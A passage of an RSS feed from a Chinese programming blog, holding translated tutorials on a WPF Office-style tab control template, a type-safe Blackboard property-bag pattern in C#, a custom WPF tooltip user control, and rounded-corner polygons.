            &amp;lt;/Grid.ColumnDefinitions&amp;gt;

            &amp;lt;Border Background=&#34;#FFE9ECEF&#34;

                    Grid.Column=&#34;0&#34;

                    BorderBrush=&#34;LightGray&#34;

                    BorderThickness=&#34;1&#34;

                    SnapsToDevicePixels=&#34;True&#34; /&amp;gt;

            &amp;lt;StackPanel IsItemsHost=&#34;True&#34;

                        Grid.Column=&#34;0&#34;

                        Margin=&#34;0,0,-1,0&#34;

                        SnapsToDevicePixels=&#34;True&#34; /&amp;gt;

            &amp;lt;ContentPresenter

                Content=&#34;{TemplateBinding SelectedContent}&#34;

                Grid.Column=&#34;1&#34;

                Margin=&#34;15,0,0,0&#34; /&amp;gt;

        &amp;lt;/Grid&amp;gt;

    &amp;lt;/ControlTemplate&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;这样就添加了一个有一个grid元素的名为OfficeTabControl的控件模板 . Grid 被分成两列，一列是标签页，一列是页内容。左边的列包含一个灰色背景和亮灰色的边缘线，然后一个StackPanel，IsItemsHost属性被设置为true，&lt;/p&gt;
&lt;p&gt;这样标签项被会放在这个栈面板里。第二列是ContentPresenter 这会放置标签页内容。然后让我们前面的TabControl使用新模板。设置Template 属性。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt; &amp;lt;Window.Resources&amp;gt;

        &amp;lt;ResourceDictionary&amp;gt;

            &amp;lt;ResourceDictionary.MergedDictionaries&amp;gt;

                &amp;lt;ResourceDictionary Source=&#34;OfficeTab.xaml&#34; /&amp;gt;

            &amp;lt;/ResourceDictionary.MergedDictionaries&amp;gt;

        &amp;lt;/ResourceDictionary&amp;gt;

    &amp;lt;/Window.Resources&amp;gt;

    &amp;lt;TabControl Name=&#34;tabSteps&#34; Template=&#34;{StaticResource OfficeTabControl}&#34;&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;在这之前，先把资源字典加到窗体的Reesouce里。然后再设置。然后运行软件。效果会有一些不一样。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28187_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2ba7dae0ace3d2aba71967d816315b1b953d139b.png&#34; title=&#34;3&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后要修改左侧单个标签的显示效果。通过改变模板来实现。给模板添加如下的代码&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;ControlTemplate x:Key=&#34;OfficeTabControl&#34; TargetType=&#34;{x:Type TabControl}&#34;&amp;gt;

    &amp;lt;ControlTemplate.Resources&amp;gt;

        &amp;lt;Style TargetType=&#34;{x:Type TabItem}&#34;&amp;gt;

            &amp;lt;Setter Property=&#34;Template&#34;&amp;gt;

                &amp;lt;Setter.Value&amp;gt;

                    &amp;lt;ControlTemplate TargetType=&#34;{x:Type TabItem}&#34;&amp;gt;

                        &amp;lt;Grid SnapsToDevicePixels=&#34;True&#34;&amp;gt;

                            &amp;lt;ContentPresenter

                                Name=&#34;buttonText&#34;

                                Margin=&#34;15,0,5,0&#34;

                                TextBlock.FontFamily=&#34;Calibri&#34;

                                TextBlock.FontSize=&#34;12pt&#34;

                                TextBlock.Foreground=&#34;Black&#34;

                                Content=&#34;{TemplateBinding Header}&#34;

                                VerticalAlignment=&#34;Center&#34;/&amp;gt;

                        &amp;lt;/Grid&amp;gt;

                    &amp;lt;/ControlTemplate&amp;gt;

                &amp;lt;/Setter.Value&amp;gt;

            &amp;lt;/Setter&amp;gt;

        &amp;lt;/Style&amp;gt;

    &amp;lt;/ControlTemplate.Resources&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;然后再运行&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28188_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ded32740b808794d30171ba7b82b5b1c6c89a6c3.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;VisualState很有意思。我们可以放在Grid里。然后设置正常状态和鼠标悬停的状态。&lt;/p&gt;
&lt;p&gt;为了添加鼠标悬停效果，我们添加两个Borders元素。一个右边缘是灰线，另一个用在背景上。亮蓝色放在上下边缘&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Border Name=&#34;hoverShape&#34;

        Height=&#34;40&#34;

        Margin=&#34;0,0,1,0&#34;

        SnapsToDevicePixels=&#34;True&#34;

        BorderThickness=&#34;0,0,1,0&#34;

        BorderBrush=&#34;LightGray&#34;&amp;gt;

    &amp;lt;Border BorderBrush=&#34;#FFA1B7EA&#34;

            BorderThickness=&#34;0,1&#34;

            Background=&#34;#FFE5EEF9&#34;

            Height=&#34;40&#34;

            SnapsToDevicePixels=&#34;True&#34; /&amp;gt;

&amp;lt;/Border&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;之后，我们为VisualState创建故事板，一个是正常状态。会使得hoverShape的透明度为0.另一个是鼠标悬停的状态。透明度会变成1&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Grid SnapsToDevicePixels=&#34;True&#34;&amp;gt;

    &amp;lt;VisualStateManager.VisualStateGroups&amp;gt;

        &amp;lt;VisualStateGroup Name=&#34;CommonStates&#34;&amp;gt;

            &amp;lt;VisualState Name=&#34;MouseOver&#34;&amp;gt;

                &amp;lt;Storyboard&amp;gt;

                    &amp;lt;DoubleAnimation

                        Storyboard.TargetName=&#34;hoverShape&#34;

                        Storyboard.TargetProperty=&#34;Opacity&#34;

                        To=&#34;1&#34;

                        Duration=&#34;0:0:.1&#34;/&amp;gt;

                &amp;lt;/Storyboard&amp;gt;

            &amp;lt;/VisualState&amp;gt;

            &amp;lt;VisualState Name=&#34;Normal&#34;&amp;gt;

                &amp;lt;Storyboard&amp;gt;

                    &amp;lt;DoubleAnimation

                        Storyboard.TargetName=&#34;hoverShape&#34;

                        Storyboard.TargetProperty=&#34;Opacity&#34;

                        To=&#34;0&#34;

                        Duration=&#34;0:0:.1&#34;/&amp;gt;

                &amp;lt;/Storyboard&amp;gt;

            &amp;lt;/VisualState&amp;gt;

        &amp;lt;/VisualStateGroup&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;之后效果如下&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28193_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/c3260420be7f836a117fde4fbf6f35cc91728bc9.png&#34; title=&#34;5&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>类型安全的黑板模式（属性包）</title>
      <link>http://blog.leaver.me/2012/10/16/%E7%B1%BB%E5%9E%8B%E5%AE%89%E5%85%A8%E7%9A%84%E9%BB%91%E6%9D%BF%E6%A8%A1%E5%BC%8F%E5%B1%9E%E6%80%A7%E5%8C%85/</link>
      <pubDate>Tue, 16 Oct 2012 12:12:06 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/16/%E7%B1%BB%E5%9E%8B%E5%AE%89%E5%85%A8%E7%9A%84%E9%BB%91%E6%9D%BF%E6%A8%A1%E5%BC%8F%E5%B1%9E%E6%80%A7%E5%8C%85/</guid>
      <description>&lt;p&gt;有时候对于对象来说。在一个软件中，不直接通过互相引用而做到共享信息是非常有用的。比如像带有插件的软件。可以互相进行通信。假设我们有了很多对象。其中一些包含一些数据。而另一些对象需要消费这些数据 不同的子集，我们不通过对数据生产者和消费者的直接引用来实现，而是通过更低耦合的方式。叫做创建一个“BlackBoard”（黑板）对象。该对象允许其他对象自由对其进行读取/写入数据。这种解耦方式使得消费者不知道也不必知道数据来自哪里。如果想要了解更多关于黑板模式的信息。我们常说的。Google是你最好的朋友。&lt;/p&gt;
&lt;p&gt;一个最简单的黑板对象应该是 Dictionary一些简单的命名值的字典。所有的对象共享同一个字典引用。使得他们可以交换这些命名数据。这种方法有两个问题。一个是名字。一个是类型安全—数据生产者和消费者对每一个数据值都必须共享一个字符串标识。消费者也没有对字典中的值进行编译时的类型检查，比如，可能期望一个小数，结果运行时读到了字符串。本文对这两个问题演示了一种解决方案。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;最近我在开发一个通用任务的异步执行的引擎。我的通用任务通常有Do/Undo方法。原则上是相互独立的，但是有一些任务需要从已经执行的任务重请求数据。比如。一个任务可以
为一个硬件设备建立一个API，随后的任务就可以使用创建好的API来操作硬件设备。但是。我不想我的执行引擎知道关于这个执行任务的任何信息。而且。我也不想直接手工的就在一个任务里引用另一个任务。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;黑板类&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;黑板类本质上是一个Dictionary的包装类，对外暴露Get和Set方法。黑板类允许其他对象存储并且取回数据。但是要求这些数据使用一个
BlackboardProperty 类型的标识符来表示这些数据是可存取的。BlackboardProperty 对象应该在那些准备读写黑板类的对象之间共享，因此，他应该在那些类中作为一个静态成员。（很像WPF的依赖属性。是他们所属控件的静态成员）&lt;/p&gt;
&lt;p&gt;注意：命名安全应该可以通过同样的方式实现。但是但是依然没有解决类型安全的问题。那么。到了主要的部分了。那就是黑板类的代码了&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public class Blackboard : INotifyPropertyChanged, INotifyPropertyChanging
{
    Dictionary&amp;lt;string, object&amp;gt; _dict = new Dictionary&amp;lt;string, object&amp;gt;();

    public T Get&amp;lt;T&amp;gt;(BlackboardProperty&amp;lt;T&amp;gt; property)
    {
        if (!_dict.ContainsKey(property.Name))
            _dict[property.Name] = property.GetDefault();
        return (T)_dict[property.Name];
    }

    public void Set&amp;lt;T&amp;gt;(BlackboardProperty&amp;lt;T&amp;gt; property, T value)
    {
        OnPropertyChanging(property.Name);
        _dict[property.Name] = value;
        OnPropertyChanged(property.Name);
    }

    #region property change notification

    public event PropertyChangingEventHandler PropertyChanging;

    public event PropertyChangedEventHandler PropertyChanged;

    protected virtual void OnPropertyChanging(string propertyName)
    {
        if (PropertyChanging != null)
            PropertyChanging(this, new PropertyChangingEventArgs(propertyName));
    }

    protected virtual void OnPropertyChanged(string propertyName)
    {
        if (PropertyChanged != null)
            PropertyChanged(this, new PropertyChangedEventArgs(propertyName));
    }
    #endregion
}&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;黑板属性（BlackBoardProperty）类&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;BlackBoardProperty 类 提供了一个标识符来存取黑板对象中的数据。定义了名称和值的类型。也定义了一个默认的返回值。以防黑板类中对应属性没有值。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;/// &amp;lt;summary&amp;gt;
/// 对应黑板类中的属性的强类型标识符
/// &amp;lt;/summary&amp;gt;
/// &amp;lt;typeparam name=&#34;T&#34;&amp;gt;该类能识别的属性值的类型&amp;lt;/typeparam&amp;gt;
public class BlackboardProperty&amp;lt;T&amp;gt;
{
    /// &amp;lt;summary&amp;gt;
    /// 属性的名称
    /// &amp;lt;remarks&amp;gt;
    /// 黑板类的属性通过名称来存储。请注意不要让相同的名字有不同的属性值。因为如果被用在同样的黑板类上。他们会互相覆盖值
    /// &amp;lt;/remarks&amp;gt;
    /// &amp;lt;/summary&amp;gt;
    public string Name { get; set; }

//当黑板对象没有包含对应属性的时候。该工厂方法被用来提供一个默认的值
    //    
Func&amp;lt;T&amp;gt; _createDefaultValueFunc;

    public BlackboardProperty(string name)
        : this(name, default(T))
    {
    }

    /// &amp;lt;summary&amp;gt;
    /// 
    /// &amp;lt;/summary&amp;gt;
    /// &amp;lt;param name=&#34;name&#34;&amp;gt;&amp;lt;/param&amp;gt;
    /// &amp;lt;param name=&#34;defaultValue&#34;&amp;gt;
    /// 当黑板类不包括该属性的时候。该值会被返回。
    /// &amp;lt;remarks&amp;gt;
    /// 如果缺省的值是一个常量或是一个值类型的时候，使用该构造方法。
    /// &amp;lt;/remarks&amp;gt;
    /// &amp;lt;/param&amp;gt;
    public BlackboardProperty(string name, T defaultValue)
    {
        Name = name;
        _createDefaultValueFunc = () =&amp;gt; defaultValue;
    }

    /// &amp;lt;summary&amp;gt;
    /// &amp;lt;/summary&amp;gt;
    /// &amp;lt;remarks&amp;gt;
/// 如果缺省值是一个引用类型，并且，你不想要共享该实例给多个黑板对象的时候。请使用该
/// 构造函数
    /// &amp;lt;/remarks&amp;gt;
    /// &amp;lt;param name=&#34;name&#34;&amp;gt;&amp;lt;/param&amp;gt;
    /// &amp;lt;param name=&#34;createDefaultValueFunc&#34;&amp;gt;&amp;lt;/param&amp;gt;
    public BlackboardProperty(string name, Func&amp;lt;T&amp;gt; createDefaultValueFunc)
    {
        Name = name;
        _createDefaultValueFunc = createDefaultValueFunc;
    }

    public BlackboardProperty()
    {
        Name = Guid.NewGuid().ToString();
    }

    public T GetDefault()
    {
        return _createDefaultValueFunc();
    }
}&lt;/pre&gt;
&lt;p&gt;我承认不是非常有用的代码。但是。能够模拟两个类的使用。
下一个例子会更和现实情况接近。但是肯定是被简化过了的。在下面的例子里。我定义了集中不同的任务。我用这些任务来启动对硬件设备的连接。操作设备。关闭连接。这些任务通过一个执行引擎依次执行，这些任务通过一个公用的黑板类来共享数据。至于这个任务类的和执行引擎（ExecutionEngine）类还是留到另一篇文章中把。&lt;/p&gt;</description>
    </item>
    <item>
      <title>如何创建WPF用户控件&amp;在WPF项目中使用</title>
      <link>http://blog.leaver.me/2012/10/14/%E5%A6%82%E4%BD%95%E5%88%9B%E5%BB%BAwpf%E7%94%A8%E6%88%B7%E6%8E%A7%E4%BB%B6%E5%9C%A8wpf%E9%A1%B9%E7%9B%AE%E4%B8%AD%E4%BD%BF%E7%94%A8/</link>
      <pubDate>Sun, 14 Oct 2012 15:19:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/14/%E5%A6%82%E4%BD%95%E5%88%9B%E5%BB%BAwpf%E7%94%A8%E6%88%B7%E6%8E%A7%E4%BB%B6%E5%9C%A8wpf%E9%A1%B9%E7%9B%AE%E4%B8%AD%E4%BD%BF%E7%94%A8/</guid>
      <description>&lt;p&gt;作者给的Demo我合并了下。VS2010直接打开解决方案。二者都有。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28121_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/82f9a2b2665cf35702e252f3518a2f420361da11.png&#34; title=&#34;00&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;
本文展示在WPF中如何创建用户控件并且如果在WPF项目中使用。我将使用VS2008和C#来展示如何创建一个自定义的ToolTip&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这篇由&lt;a href=&#34;http://www.codeproject.com/KB/WPF/WPF_CustomerControl.aspx&#34;&gt;Sacha Barber&lt;/a&gt;.写的和我的有点像。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;开始。首先，我们创建一个用户控件。因此，我们选择新建WPF用户控件类库（WPF User Control Library）。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28122_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/920a78558c2e8a260f9fd448739f68cd80e37108.png&#34; title=&#34;01&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;现在。我们可以创建或者编辑XAML代码来创建自定义的用户控件了。我使用XAML来创建自定义的ToolTip。你想做什么随你。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;UserControl 
    Name=&#34;UserControlToolTip&#34;
    x:Class=&#34;CustomToolTip.UserControl1&#34;
    xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
    xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
    xmlns:d=&#34;http://schemas.microsoft.com/expression/blend/2008&#34; 
    xmlns:mc=&#34;http://schemas.openxmlformats.org/markup-compatibility/2006&#34; 
    mc:Ignorable=&#34;d&#34; RenderTransformOrigin=&#34;0,0&#34; HorizontalAlignment=&#34;Left&#34; 
	VerticalAlignment=&#34;Top&#34; &amp;gt;

    &amp;lt;UserControl.RenderTransform&amp;gt;
        &amp;lt;TransformGroup&amp;gt;
            &amp;lt;ScaleTransform ScaleX=&#34;1&#34; ScaleY=&#34;1&#34;/&amp;gt;
            &amp;lt;SkewTransform AngleX=&#34;0&#34; AngleY=&#34;0&#34;/&amp;gt;
            &amp;lt;RotateTransform Angle=&#34;0&#34;/&amp;gt;
            &amp;lt;TranslateTransform x:Name=&#34;UserControlToolTipXY&#34; X=&#34;0&#34; Y=&#34;0&#34;/&amp;gt;
        &amp;lt;/TransformGroup&amp;gt;
    &amp;lt;/UserControl.RenderTransform&amp;gt;

    &amp;lt;Grid HorizontalAlignment=&#34;Center&#34; VerticalAlignment=&#34;Center&#34; 
	MinWidth=&#34;200&#34; MinHeight=&#34;120&#34;&amp;gt;
    	&amp;lt;Grid.RowDefinitions&amp;gt;
    		&amp;lt;RowDefinition Height=&#34;0.333*&#34;/&amp;gt;
    		&amp;lt;RowDefinition Height=&#34;0.667*&#34;/&amp;gt;
    	&amp;lt;/Grid.RowDefinitions&amp;gt;
        &amp;lt;Rectangle Fill=&#34;#FFFBFBFB&#34; Stroke=&#34;#FF000000&#34; RadiusX=&#34;10&#34; RadiusY=&#34;10&#34;
        	 RenderTransformOrigin=&#34;0.139,0.012&#34; StrokeThickness=&#34;1&#34; Grid.RowSpan=&#34;2&#34;&amp;gt;
            &amp;lt;Rectangle.BitmapEffect&amp;gt;
                &amp;lt;DropShadowBitmapEffect Opacity=&#34;0.8&#34;/&amp;gt;
            &amp;lt;/Rectangle.BitmapEffect&amp;gt;
        &amp;lt;/Rectangle&amp;gt;
        &amp;lt;Rectangle RadiusX=&#34;10&#34; RadiusY=&#34;10&#34; RenderTransformOrigin=&#34;0.139,0.012&#34; 
        	StrokeThickness=&#34;10&#34; Stroke=&#34;{x:Null}&#34; 
	Margin=&#34;1,1,1,1&#34; Grid.Row=&#34;0&#34; Grid.RowSpan=&#34;2&#34;&amp;gt;
        	&amp;lt;Rectangle.Fill&amp;gt;
        		&amp;lt;LinearGradientBrush EndPoint=&#34;0.5,1&#34; StartPoint=&#34;0.5,0.725&#34;&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#00E6D9AA&#34; Offset=&#34;0.487&#34;/&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#FFE6D9AA&#34; Offset=&#34;0.996&#34;/&amp;gt;
        		&amp;lt;/LinearGradientBrush&amp;gt;
        	&amp;lt;/Rectangle.Fill&amp;gt;
        &amp;lt;/Rectangle&amp;gt;
        &amp;lt;Rectangle RadiusX=&#34;10&#34; RadiusY=&#34;10&#34; RenderTransformOrigin=&#34;0.493,0.485&#34; 
        	StrokeThickness=&#34;10&#34; Stroke=&#34;{x:Null}&#34; Grid.RowSpan=&#34;2&#34; Margin=&#34;1,1,1,1&#34;&amp;gt;
        	&amp;lt;Rectangle.Fill&amp;gt;
        		&amp;lt;LinearGradientBrush EndPoint=&#34;0.014,0.5&#34; StartPoint=&#34;0.211,0.5&#34;&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#00E6D9AA&#34; Offset=&#34;0.513&#34;/&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#FFE6D9AA&#34; Offset=&#34;0.996&#34;/&amp;gt;
        		&amp;lt;/LinearGradientBrush&amp;gt;
        	&amp;lt;/Rectangle.Fill&amp;gt;
        &amp;lt;/Rectangle&amp;gt;
        &amp;lt;Rectangle RadiusX=&#34;10&#34; RadiusY=&#34;10&#34; RenderTransformOrigin=&#34;0.493,0.485&#34; 
        	StrokeThickness=&#34;10&#34; Stroke=&#34;{x:Null}&#34; Grid.RowSpan=&#34;2&#34; Margin=&#34;1,1,1,1&#34;&amp;gt;
        	&amp;lt;Rectangle.Fill&amp;gt;
        		&amp;lt;LinearGradientBrush EndPoint=&#34;0.493,0.002&#34; StartPoint=&#34;0.493,0.33&#34;&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#00E6D9AA&#34; Offset=&#34;0.513&#34;/&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#FFE6D9AA&#34; Offset=&#34;0.996&#34;/&amp;gt;
        		&amp;lt;/LinearGradientBrush&amp;gt;
        	&amp;lt;/Rectangle.Fill&amp;gt;
        &amp;lt;/Rectangle&amp;gt;
        &amp;lt;Rectangle RadiusX=&#34;10&#34; RadiusY=&#34;10&#34; RenderTransformOrigin=&#34;0.493,0.485&#34; 
        	StrokeThickness=&#34;10&#34; Stroke=&#34;{x:Null}&#34; Grid.RowSpan=&#34;2&#34; Margin=&#34;1,1,1,1&#34;&amp;gt;
        	&amp;lt;Rectangle.Fill&amp;gt;
        		&amp;lt;LinearGradientBrush EndPoint=&#34;0.99,0.441&#34; StartPoint=&#34;0.794,0.441&#34;&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#00E6D9AA&#34; Offset=&#34;0.513&#34;/&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#FFE6D9AA&#34; Offset=&#34;0.996&#34;/&amp;gt;
        		&amp;lt;/LinearGradientBrush&amp;gt;
        	&amp;lt;/Rectangle.Fill&amp;gt;
        &amp;lt;/Rectangle&amp;gt;
        &amp;lt;TextBlock Text=&#34;TextBlock&#34; TextWrapping=&#34;Wrap&#34; x:Name=&#34;TextBlockToolTip&#34; 
        	RenderTransformOrigin=&#34;0.5,0.5&#34; Grid.Row=&#34;1&#34; HorizontalAlignment=&#34;Left&#34; 
            	VerticalAlignment=&#34;Center&#34; Margin=&#34;20,0,0,20&#34; /&amp;gt;
        &amp;lt;TextBlock Name=&#34;ToolTipTitle&#34; HorizontalAlignment=&#34;Stretch&#34; Margin=&#34;15,16,15,6.1&#34; 
        	FontSize=&#34;14&#34; Text=&#34;title&#34; d:LayoutOverrides=&#34;Height&#34; /&amp;gt;
    &amp;lt;/Grid&amp;gt;
&amp;lt;/UserControl&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;同时。我们需要添加一些方法和属性来控制这些元素。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;namespace CustomToolTip
{
    public partial class UserControl1 : UserControl
    {
        public UserControl1()
        {
            InitializeComponent();
        }

        public double UserControlToolTipX
        {
            get { return this.UserControlToolTipXY.X; }
            set { this.UserControlToolTipXY.X = value; }
        }

        public double UserControlToolTipY
        {
            get { return this.UserControlToolTipXY.Y; }
            set { this.UserControlToolTipXY.Y = value; }
        }

        public string UserControlTextBlockToolTip
        {
            get { return TextBlockToolTip.Text; }
            set { TextBlockToolTip.Text = value; }
        }

        public string UserControlToolTipTitle
        {
            get { return ToolTipTitle.Text; }
            set { ToolTipTitle.Text = value; }
        }
    }
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>WPF绘制圆角多边形</title>
      <link>http://blog.leaver.me/2012/10/13/wpf%E7%BB%98%E5%88%B6%E5%9C%86%E8%A7%92%E5%A4%9A%E8%BE%B9%E5%BD%A2/</link>
      <pubDate>Sat, 13 Oct 2012 09:45:40 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/13/wpf%E7%BB%98%E5%88%B6%E5%9C%86%E8%A7%92%E5%A4%9A%E8%BE%B9%E5%BD%A2/</guid>
      <description>&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;最近，我发现我需要个圆角多边形。而且是需要在运行时从用户界面来绘制。WPF有多边形。但是不支持圆角。我搜索了一下。也没找到可行的现成例子。于是就自己做吧。本文描述了圆角多边形的实现，也包括如何用在你的项目里。在Demo里面的RoundedCornersPolygon 类是完整的实现。&lt;/p&gt;
&lt;p&gt;下载的Demo包括两部分&lt;/p&gt;
&lt;p&gt;1. 通过XAML绘制圆角多边形&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28036_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/83dd3b37c81d0d4e1a82e80ba69d00411930ce52.png&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2. 运行时创建圆角多边形&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28037_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/864fccf9677ea6ce52dad56c85cf7389108c6874.png&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;
多边形可以被认为是沿着一个给定半径的圆的边缘和一些指定点/边。所构成的点的集合。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28038_o.gif&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/82969618833250386b07a5177dc8c454da0530e1.gif&#34; title=&#34;3&#34;&gt;&lt;/a&gt;
在WPF中。你可以给Polygon对象的Points属性添加一系列的点来制作多边形。&lt;/p&gt;
&lt;p&gt;XAML方式&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Canvas&amp;gt;
    &amp;lt;Polygon Points=&#34;10,50 180,50 180,150 10,150&#34; 
       StrokeThickness=&#34;1&#34; Stroke=&#34;Black&#34; /&amp;gt;
&amp;lt;/Canvas&amp;gt;&lt;/pre&gt;
&lt;p&gt;C#方式&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var cnv = new Canvas(); 
var polygon = new Polygon {StrokeThickness = 1, Fill = Brushes.Black};
polygon.Points.Add(new Point(10, 50)); 
polygon.Points.Add(new Point(180, 50));
polygon.Points.Add(new Point(180, 150));
polygon.Points.Add(new Point(10, 150));
cnv.Children.Add(polygon);
this.Content = cnv;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;上面两个例子会输出下面的矩形&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28039_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/787268128d45598cff769b9209e41652a66775ae.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;
我写的RoundedCornersPolygon 类和普通的多边形类很相似。但是有更多的属性来控制圆角。首先。看一个例子。展示一下圆角矩形类的使用&lt;/p&gt;
&lt;p&gt;XAML方式&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Canvas&amp;gt;
    &amp;lt;CustomRoundedCornersPolygon:RoundedCornersPolygon Points=&#34;10,50 180,50 180,150 10,150&#34; 
               StrokeThickness=&#34;1&#34; Stroke=&#34;Black&#34; ArcRoundness=&#34;25&#34; 
               UseAnglePercentage=&#34;False&#34; IsClosed=&#34;True&#34;/&amp;gt;
&amp;lt;Canvas&amp;gt;&lt;/pre&gt;
&lt;p&gt;C#方式&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var cnv = new Canvas();  
var roundedPolygon = new RoundedCornersPolygon
{
    Stroke = Brushes.Black, StrokeThickness = 1, 
    ArcRoundness = 25, UseAnglePercentage = false, IsClosed = true
};
roundedPolygon.Points.Add(new Point(10, 50));
roundedPolygon.Points.Add(new Point(180, 50));
roundedPolygon.Points.Add(new Point(180, 150));
roundedPolygon.Points.Add(new Point(10, 150));
cnv.Children.Add(roundedPolygon);
this.Content = cnv;&lt;/pre&gt;
&lt;p&gt;输出如下：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28040_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/fb11bced67d29f74ff4e539a8008871934d74c04.png&#34; title=&#34;5&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;多边形有四个主要属性
ArcRoundness 属性指定了从距离LineSegment终点多远的距离开始弯曲，通常和UseRoundnessPercentage 一起使用。UseRoundnessPercentage属性指定了ArcRoundness 值是百分比还是一个固定的值。&lt;/p&gt;
&lt;p&gt;举个例子。ArcRoundness 被设置成10，而且UseRoundnessPercentage 被设置成false，那么弯曲将会在距离线段终点10的地方开始。而如果UseRoundnessPercentage 被设置成ture。则会是从线段终点10%的地方开始弯曲。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;/// &amp;lt;summary&amp;gt; 
/// Gets or sets a value that specifies the arc roundness.
/// &amp;lt;/summary&amp;gt;
public double ArcRoundness { get; set; }

/// &amp;lt;summary&amp;gt;  
/// Gets or sets a value that specifies if the ArcRoundness property
/// value will be used as a percentage of the connecting segment or not.
/// &amp;lt;/summary&amp;gt;
public bool UseRoundnessPercentage { get; set; }&lt;/pre&gt;
